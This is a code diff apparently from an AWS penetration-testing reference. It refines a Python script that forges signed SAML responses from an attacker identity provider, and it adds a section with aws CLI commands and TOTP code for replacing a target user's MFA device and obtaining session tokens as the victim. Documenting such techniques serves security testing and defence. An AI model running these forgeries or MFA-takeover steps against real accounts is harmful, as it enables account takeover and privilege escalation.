@@ -368,6 +368,7 @@ def _run(cmd: list[str]) -> str:
368368def _openssl_make_key_and_cert (tmpdir : str ) -> tuple[str , str ]:
369369 key_path = os.path.join(tmpdir, " key.pem" )
370370 cert_path = os.path.join(tmpdir, " cert.pem" )
371+
371372 _run(
372373 [
373374 " openssl" ,
@@ -390,19 +391,18 @@ def _openssl_make_key_and_cert(tmpdir: str) -> tuple[str, str]:
390391
391392
392393def _pem_cert_to_b64 (cert_pem : str ) -> str :
393- lines: list[ str ] = []
394+ lines = []
394395 for line in cert_pem.splitlines():
395396 if " BEGIN CERTIFICATE" in line or " END CERTIFICATE" in line:
396397 continue
397- line = line.strip()
398- if line:
399- lines.append(line)
398+ if line.strip():
399+ lines.append(line.strip())
400400 return " " .join(lines)
401401
402402
403403def make_metadata_xml (cert_b64 : str ) -> str :
404404 return f """ <?xml version="1.0"?>
405- <EntityDescriptor xmlns="urn:oasis:names:tc:SAML:2.0:metadata" entityID="https://attacker.invalid/idp">
405+ <EntityDescriptor xmlns="urn:oasis:names:tc:SAML:2.0:metadata" entityID="https://attacker-idp .invalid/idp">
406406 <IDPSSODescriptor protocolSupportEnumeration="urn:oasis:names:tc:SAML:2.0:protocol">
407407 <KeyDescriptor use="signing">
408408 <KeyInfo xmlns="http://www.w3.org/2000/09/xmldsig#">
@@ -411,7 +411,7 @@ def make_metadata_xml(cert_b64: str) -> str:
411411 </X509Data>
412412 </KeyInfo>
413413 </KeyDescriptor>
414- <SingleSignOnService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-Redirect" Location="https://attacker.invalid/sso"/>
414+ <SingleSignOnService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-Redirect" Location="https://attacker-idp .invalid/sso"/>
415415 </IDPSSODescriptor>
416416</EntityDescriptor>
417417"""
@@ -437,7 +437,7 @@ def make_signed_saml_response(role_arn: str, principal_arn: str, key_pem: str, c
437437 response.set(" Destination" , " https://signin.aws.amazon.com/saml" )
438438
439439 issuer = etree.SubElement(response, etree.QName(ns[" saml2" ], " Issuer" ))
440- issuer.text = " https://attacker.invalid/idp"
440+ issuer.text = " https://attacker-idp.attacker .invalid/idp"
441441
442442 status = etree.SubElement(response, etree.QName(ns[" saml2p" ], " Status" ))
443443 status_code = etree.SubElement(status, etree.QName(ns[" saml2p" ], " StatusCode" ))
@@ -449,7 +449,7 @@ def make_signed_saml_response(role_arn: str, principal_arn: str, key_pem: str, c
449449 assertion.set(" IssueInstant" , issue_instant.isoformat())
450450
451451 a_issuer = etree.SubElement(assertion, etree.QName(ns[" saml2" ], " Issuer" ))
452- a_issuer.text = " https://attacker.invalid/idp"
452+ a_issuer.text = " https://attacker-idp.attacker .invalid/idp"
453453
454454 subject = etree.SubElement(assertion, etree.QName(ns[" saml2" ], " Subject" ))
455455 name_id = etree.SubElement(subject, etree.QName(ns[" saml2" ], " NameID" ))
@@ -470,20 +470,30 @@ def make_signed_saml_response(role_arn: str, principal_arn: str, key_pem: str, c
470470 audience = etree.SubElement(audience_restriction, etree.QName(ns[" saml2" ], " Audience" ))
471471 audience.text = " https://signin.aws.amazon.com/saml"
472472
473- attr_stmt = etree.SubElement(assertion, etree.QName(ns[" saml2" ], " AttributeStatement" ))
473+ authn_statement = etree.SubElement(assertion, etree.QName(ns[" saml2" ], " AuthnStatement" ))
474+ authn_statement.set(" AuthnInstant" , issue_instant.isoformat())
475+ authn_statement.set(" SessionIndex" , str (uuid.uuid4()))
476+
477+ authn_context = etree.SubElement(authn_statement, etree.QName(ns[" saml2" ], " AuthnContext" ))
478+ authn_context_class_ref = etree.SubElement(authn_context, etree.QName(ns[" saml2" ], " AuthnContextClassRef" ))
479+ authn_context_class_ref.text = " urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport"
474480
475- attr_role = etree.SubElement(attr_stmt, etree.QName(ns[" saml2" ], " Attribute" ))
481+ attribute_statement = etree.SubElement(assertion, etree.QName(ns[" saml2" ], " AttributeStatement" ))
482+
483+ attr_role = etree.SubElement(attribute_statement, etree.QName(ns[" saml2" ], " Attribute" ))
476484 attr_role.set(" Name" , " https://aws.amazon.com/SAML/Attributes/Role" )
477485 attr_role_value = etree.SubElement(attr_role, etree.QName(ns[" saml2" ], " AttributeValue" ))
478486 attr_role_value.text = f " { role_arn} , { principal_arn} "
479487
480- attr_session = etree.SubElement(attr_stmt , etree.QName(ns[" saml2" ], " Attribute" ))
488+ attr_session = etree.SubElement(attribute_statement , etree.QName(ns[" saml2" ], " Attribute" ))
481489 attr_session.set(" Name" , " https://aws.amazon.com/SAML/Attributes/RoleSessionName" )
482490 attr_session_value = etree.SubElement(attr_session, etree.QName(ns[" saml2" ], " AttributeValue" ))
483- attr_session_value.text = " saml-session "
491+ attr_session_value.text = " attacker-idp "
484492
485- key_bytes = open (key_pem, " rb" ).read()
486- cert_bytes = open (cert_pem, " rb" ).read()
493+ with open (key_pem, " rb" ) as f:
494+ key_bytes = f.read()
495+ with open (cert_pem, " rb" ) as f:
496+ cert_bytes = f.read()
487497
488498 signer = XMLSigner(
489499 method = methods.enveloped,
@@ -610,6 +620,82 @@ aws iam put-role-permissions-boundary \
610620 --permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy
611621```
612622
623+ ### ` iam:CreateVirtualMFADevice ` , ` iam:EnableMFADevice ` , CreateVirtualMFADevice & ` sts:GetSessionToken `
624+ The attacker creates a virtual MFA device under their control and attaches it to the target IAM user, replacing or bypassing the victim’s original MFA. Using the seed of this attacker-controlled MFA, they generate valid one-time passwords and request an MFA-authenticated session token via STS. This allows the attacker to satisfy the MFA requirement and obtain temporary credentials as the victim, effectively completing the account takeover even though MFA is enforced.
625+
626+ If the target user already has MFA, deactivate it (` iam:DeactivateMFADevice ` ):
627+
628+ ``` bash
629+ aws iam deactivate-mfa-device \
630+ --user-name TARGET_USER \
631+ --serial-number arn:aws:iam::ACCOUNT_ID:mfa/EXISTING_DEVICE_NAME
632+ ```
633+
634+ Create a new virtual MFA device (writes the seed to a file)
635+
636+ ``` bash
637+ aws iam create-virtual-mfa-device \
638+ --virtual-mfa-device-name VIRTUAL_MFA_DEVICE_NAME \
639+ --bootstrap-method Base32StringSeed \
640+ --outfile /tmp/mfa-seed.txt
641+ ```
642+
643+ Generate two consecutive TOTP codes from the seed file:
644+
645+ ``` python
646+ import base64, hmac, hashlib, struct, time
647+
648+ seed = open (" /tmp/mfa-seed.txt" ).read().strip()
649+ seed = seed + (" =" * ((8 - (len (seed) % 8 )) % 8 ))
650+ key = base64.b32decode(seed, casefold = True )
651+
652+ def totp (t ):
653+ counter = int (t / 30 )
654+ msg = struct.pack(" >Q" , counter)
655+ h = hmac.new(key, msg, hashlib.sha1).digest()
656+ o = h[- 1 ] & 0x 0F
657+ code = (struct.unpack(" >I" , h[o:o+ 4 ])[0 ] & 0x 7fffffff ) % 1000000
658+ return f " { code:06d } "
659+
660+ now = int (time.time())
661+ print (totp(now))
662+ print (totp(now + 30 ))
663+ ```
664+
665+ Enable MFA device on the target user, replace MFA_SERIAL_ARN, CODE1, CODE2:
666+
667+ ``` bash
668+ aws iam enable-mfa-device \
669+ --user-name TARGET_USER \
670+ --serial-number MFA_SERIAL_ARN \
671+ --authentication-code1 CODE1 \
672+ --authentication-code2 CODE2
673+ ```
674+
675+ Generate a current token code (for STS)
676+ ``` python
677+ import base64, hmac, hashlib, struct, time
678+
679+ seed = open (" /tmp/mfa-seed.txt" ).read().strip()
680+ seed = seed + (" =" * ((8 - (len (seed) % 8 )) % 8 ))
681+ key = base64.b32decode(seed, casefold = True )
682+
683+ counter = int (time.time() / 30 )
684+ msg = struct.pack(" >Q" , counter)
685+ h = hmac.new(key, msg, hashlib.sha1).digest()
686+ o = h[- 1 ] & 0x 0F
687+ code = (struct.unpack(" >I" , h[o:o+ 4 ])[0 ] & 0x 7fffffff ) % 1000000
688+ print (f " { code:06d } " )
689+ ```
690+
691+ Copy the printed value as TOKEN_CODE and request an MFA-backed session token (STS):
692+
693+ ``` bash
694+ aws sts get-session-token \
695+ --serial-number MFA_SERIAL_ARN \
696+ --token-code TOKEN_CODE
697+ ```
698+
613699## References
614700
615701- [ https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/ ] ( https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/ )
0 commit comments